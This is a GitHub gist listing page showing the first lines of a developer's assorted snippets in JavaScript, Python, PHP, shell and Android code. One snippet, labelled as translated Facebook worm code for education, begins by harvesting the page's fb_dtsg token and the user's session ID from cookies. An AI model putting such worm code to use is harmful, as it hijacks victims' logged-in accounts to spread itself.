Skip to content

Instantly share code, notes, and snippets.

View ariefbayu's full-sized avatar
🏠
Working from home

Arief Bayu Purwanto ariefbayu

🏠
Working from home
View GitHub Profile
@ariefbayu
ariefbayu / gist:1202815
Created September 8, 2011 06:54
To create header image with background repeated image.
//require line
var SceneView = require('ui').SceneView;
//`:load` line
var scene = new SceneView({ style: { width: 'fill-parent', height: 36 }});
scene.setLayers(sceneLayers.count);
scene.defineSpritesheet('headerImage', app.imageURL('header_image.png'), 128, 36);
scene.add({
sprite: 'headerImage',
@ariefbayu
ariefbayu / custom_jquery_selector.js
Created September 27, 2011 18:10
Custom JQuery Selector
//taken from: http://stackoverflow.com/questions/182630/jquery-tips-and-tricks/382922#382922
$.extend($.expr[":"], {
over100pixels: function (e)
{
return $(e).height() > 100;
}
});
$(".box:over100pixels").click(function ()
{
@ariefbayu
ariefbayu / data_en.json
Last active October 1, 2015 12:27
Pure HTML+JSON i18n page
{"title": "this is title", "content": "this is english content"}
@ariefbayu
ariefbayu / doodle-download.py
Created March 12, 2012 07:59
Google Doodle Downloader by @pengelana
#!/usr/bin/env python
import os
import urllib2
import datetime
import time
try:
import json
except:
@ariefbayu
ariefbayu / phantomjs-facebook-update.js
Created September 11, 2012 09:48
facebook status update using phantomjs
var page = new WebPage();
//spoof it as opera mini, to get the mobile page working properly
page.settings.userAgent = "Opera/9.80 (J2ME/MIDP; Opera Mini/6.5.26955/27.1407; U; en) Presto/2.8.119 Version/11.10";
function doLogin(){
page.evaluate(function(){
var frm = document.getElementById("login_form");
frm.elements["email"].value = "--enter-your-email--";
@ariefbayu
ariefbayu / gist:3857511
Created October 9, 2012 09:04 — forked from danmatthews/gist:3240064
Solution to doing some processing for every method of FuelPHP REST controller. Also add limit supported data type.
<?php
class ExampleRestController extends Controller_Rest {
/**
* @var array List all supported methods
*/
protected $_supported_formats = array(
'xml' => 'application/xml',
// 'rawxml' => 'application/xml',
@ariefbayu
ariefbayu / gist:3857656
Created October 9, 2012 09:37
get model relations in fuelphp
class Model_CatalogImage extends Orm\Model {
public static function getRelations() {
$return = array();
if(isset(Model_CatalogImage::$_belongs_to)){
$return['belongto'] = Model_CatalogImage::$_belongs_to;
}
if(isset(Model_CatalogImage::$_has_many)){
$return['hasmany'] = Model_CatalogImage::$_has_many;
}
@ariefbayu
ariefbayu / phonegap-create-android
Created March 14, 2013 11:53
helper script for phonegap create tools: save it in your $PATH
#! /bin/bash
/Users/ariefbayu/Documents/Applications/phonegap-2.5.0/lib/android/bin/create $1 $2 $3
@ariefbayu
ariefbayu / facebook.js
Last active January 4, 2016 16:09
Translating worm codes from: http://pastebin.com/raw.php?i=X6Z6F0HM | For educational purpose only. Any misuse of this codes is beyond my responsibility :)
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function cereziAl(param) {
var tparam = param + '=';
if (document.cookie.length > 0) {
konum = document.cookie.indexOf(tparam);
if (konum != -1) {
konum += tparam.length;
son = document.cookie.indexOf(';', konum);
@ariefbayu
ariefbayu / gist:12c8bef435dd5b14e94c
Last active August 29, 2015 14:22
SmartLocation to account Genymotion or other devices without google play services installed
SmartLocation.with(getApplicationContext()).location()
.oneFix()
.config(LocationParams.NAVIGATION)
.provider(new LocationGooglePlayServicesWithFallbackProvider(getApplicationContext()))
.start(new OnLocationUpdatedListener() {
@Override
public void onLocationUpdated(Location location) {
latitude = location.getLatitude();
longitude = location.getLongitude();